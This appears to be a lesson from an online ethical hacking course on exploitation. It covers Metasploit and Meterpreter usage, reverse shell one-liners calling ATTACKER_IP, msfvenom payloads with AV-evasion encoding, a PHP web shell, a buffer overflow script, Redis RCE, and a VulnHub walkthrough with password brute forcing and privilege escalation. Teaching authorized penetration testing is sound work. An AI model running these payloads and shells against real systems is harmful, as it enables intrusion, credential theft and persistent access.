Skip to content
← Ethical Hacking · intermediate · 15 min · 06 / 31

Exploitation Basics

Metasploit framework, manual exploit development, shellcode, payloads, and listeners — turning vulnerabilities into access.

metasploitexploitationpayloadsmsfvenomreverse shellbind shellshellcode

Real-World Analogy

Finding a vulnerability is discovering an unlocked window. Exploitation is actually climbing through it. The tools here are for authorized penetration tests — the same knowledge powers both offense and the detection/patching work of defenders.

Metasploit Framework

Metasploit is the industry-standard exploitation framework. Understanding it teaches you how exploits are structured.

Core Concepts

Module types:
  auxiliary    → scanning, fuzzing, information gathering (no exploit)
  exploit      → attack code targeting a specific vulnerability
  payload      → code that runs after successful exploitation (the shell)
  encoder      → obfuscates payload to evade AV
  post         → post-exploitation automation (after you have a shell)
  nop          → no-operation sleds (help with buffer overflow alignment)

Basic Workflow

# Start Metasploit
msfconsole

# Search for a module
msf6> search vsftpd
msf6> search type:exploit platform:linux smb
msf6> search CVE-2017-0144

# Select a module
msf6> use exploit/unix/ftp/vsftpd_234_backdoor

# Show required options
msf6> show options

# Set options
msf6> set RHOSTS 192.168.1.100
msf6> set RPORT 21
msf6> set LHOST 192.168.1.50   # your IP (for reverse shells)
msf6> set LPORT 4444

# Select payload
msf6> show payloads
msf6> set PAYLOAD cmd/unix/reverse

# Run
msf6> run       # or: exploit
msf6> exploit -j # run as background job

The Meterpreter Shell

Meterpreter is an advanced payload that runs entirely in memory, communicates encrypted, and provides powerful post-exploitation capabilities:

# After gaining a Meterpreter session:
meterpreter> sysinfo         # OS, hostname, architecture
meterpreter> getuid          # current user
meterpreter> getpid          # process ID we're running in
meterpreter> ps              # list processes
meterpreter> migrate 1234    # migrate to another process (for stability)

# File system
meterpreter> ls
meterpreter> download /etc/shadow
meterpreter> upload payload.sh /tmp/
meterpreter> search -f *.conf

# Networking
meterpreter> ifconfig
meterpreter> route
meterpreter> portfwd add -l 3389 -p 3389 -r 192.168.2.100  # port forwarding

# Privilege escalation
meterpreter> getsystem          # attempt automated privesc
meterpreter> run post/multi/recon/local_exploit_suggester

# Persistence
meterpreter> run post/linux/manage/sshkey_persistence

# Pivot into internal network
meterpreter> run post/multi/manage/autoroute
msf6> use auxiliary/server/socks_proxy

Managing Sessions

# Background current session
meterpreter> background

# List all sessions
msf6> sessions

# Switch to a session
msf6> sessions -i 1

# Run a command on all sessions
msf6> sessions -c "sysinfo"

Manual Exploitation (Without Metasploit)

Real pentests often require manual exploitation — restricted scope, evasion requirements, or no Metasploit module available.

Reverse Shell One-Liners

A reverse shell connects back from the target to your listener — it works even when the target is behind a firewall that blocks inbound connections.

Set up listener first:

# On attacker machine
nc -lvnp 4444            # netcat listener
rlwrap nc -lvnp 4444     # with readline (arrow keys work)

Execute on target (pick what’s available):

# Bash reverse shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Python reverse shell
python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("ATTACKER_IP",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"])'

# Python with pty (better shell)
python3 -c 'import pty,socket,os; s=socket.socket(); s.connect(("ATTACKER_IP",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/bash")'

# PHP reverse shell (in web context)
php -r '$sock=fsockopen("ATTACKER_IP",4444); exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl
perl -e 'use Socket; $i="ATTACKER_IP"; $p=4444; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); connect(S,sockaddr_in($p,inet_aton($i))); open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");'

# PowerShell (Windows)
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (iex $data 2>&1 | Out-String); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close()"

Upgrading a Shell

Raw netcat shells are unstable (no tab completion, Ctrl+C kills the session):

# On target — spawn a proper PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Background the shell (Ctrl+Z)
# Back on attacker:
stty raw -echo; fg

# Hit Enter twice, then:
export TERM=xterm
stty rows 40 cols 150

Now you have a fully interactive shell with tab completion, arrow keys, and Ctrl+C works without losing the session.

msfvenom — Payload Generator

msfvenom creates standalone executables and shellcode for situations where you can upload a file:

# List payload formats
msfvenom --list formats

# Linux ELF reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf

# Linux Meterpreter
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o meter.elf

# Windows EXE reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

# Windows Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o meter.exe

# PHP web shell
msfvenom -p php/reverse_php LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

# ASP for IIS
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp

# Python script
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py

# Encode to evade basic AV (not effective against modern AV)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 \
  -e x64/xor_dynamic -i 10 \   # encode 10 times
  -f exe -o shell-encoded.exe

Simple Web Shell

For web application RCE, upload a web shell:

<?php
// Minimal PHP web shell
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>
# Usage after upload
curl "http://192.168.1.100/uploads/shell.php?cmd=id"
curl "http://192.168.1.100/uploads/shell.php?cmd=whoami"

# Trigger reverse shell via web shell
curl "http://192.168.1.100/uploads/shell.php?cmd=bash+-i+>%26+/dev/tcp/192.168.1.50/4444+0>%261"

Buffer Overflow Basics

Buffer overflows are how many classic exploits work — and understanding them demystifies a lot of “magic”:

// Vulnerable C program
#include <string.h>
void vulnerable(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // no bounds checking!
}
Stack layout:
High addresses ↑
┌──────────────┐
│ Return addr  │ ← overwrite this with address of your shellcode
├──────────────┤
│ Saved EBP    │
├──────────────┤
│ buffer[64]   │ ← starts here
│              │
│              │
│              │ ← input starts here, grows up
Low addresses  ↓

If input > 64 bytes, it overwrites EBP then return address.
Control the return address → control execution flow.

Tools for buffer overflow development:

# Pattern generation (find exact offset)
msf6> pattern_create -l 200
msf6> pattern_offset -q 0x41396641   # find offset of EIP value

# Pwndbg / PEDA — GDB extensions for exploit development
pip install pwntools   # Python library for exploit dev

# Example with pwntools
from pwn import *

io = remote('192.168.1.100', 1234)
offset = 76
return_addr = p32(0x08049246)   # address of win() function
payload = b'A' * offset + return_addr
io.sendline(payload)
io.interactive()

Common Exploit Scenarios in Labs

Scenario 1: vsftpd 2.3.4 Backdoor

msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> set RHOSTS 192.168.1.100
msf6> run
# Results in root shell directly

Scenario 2: EternalBlue (MS17-010)

msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.1.100
msf6> set LHOST 192.168.1.50
msf6> set PAYLOAD windows/x64/shell/reverse_tcp
msf6> run

Scenario 3: Unauthenticated Redis RCE

# Connect to Redis
redis-cli -h 192.168.1.100

# Write SSH public key to /root/.ssh/authorized_keys
redis-cli -h 192.168.1.100 flushall
redis-cli -h 192.168.1.100 set x "\n\n$(cat ~/.ssh/id_rsa.pub)\n\n"
redis-cli -h 192.168.1.100 config set dir /root/.ssh
redis-cli -h 192.168.1.100 config set dbfilename authorized_keys
redis-cli -h 192.168.1.100 save

# Now SSH as root
ssh -i ~/.ssh/id_rsa root@192.168.1.100

Real Project: Exploit a VulnHub Machine

Target: Mr-Robot (VulnHub)

# 1. Identify the target IP
sudo nmap -sn 192.168.1.0/24

# 2. Scan
sudo nmap -sV -sC -p- 192.168.1.102

# 3. Enumerate web
gobuster dir -u http://192.168.1.102 -w /usr/share/wordlists/common.txt -x php,txt

# Found: /wp-login.php, /robots.txt

# 4. Check robots.txt
curl http://192.168.1.102/robots.txt
# Reveals: /key-1-of-3.txt (first flag!) and a wordlist

# 5. Download wordlist, brute WordPress login
wpscan --url http://192.168.1.102 --enumerate u
hydra -l elliot -P fsocity.dic 192.168.1.102 http-post-form \
  "/wp-login.php:log=^USER^&pwd=^PASS^:ERROR"

# 6. Upload PHP reverse shell via WordPress theme editor
# Admin → Appearance → Editor → 404.php → paste reverse shell
nc -lvnp 4444 &
curl http://192.168.1.102/wp-content/themes/twentyfifteen/404.php

# 7. Privesc: find SUID binaries
find / -perm -4000 2>/dev/null
# Found: /usr/local/bin/nmap (old version with --interactive)
nmap --interactive
# nmap shell:
!sh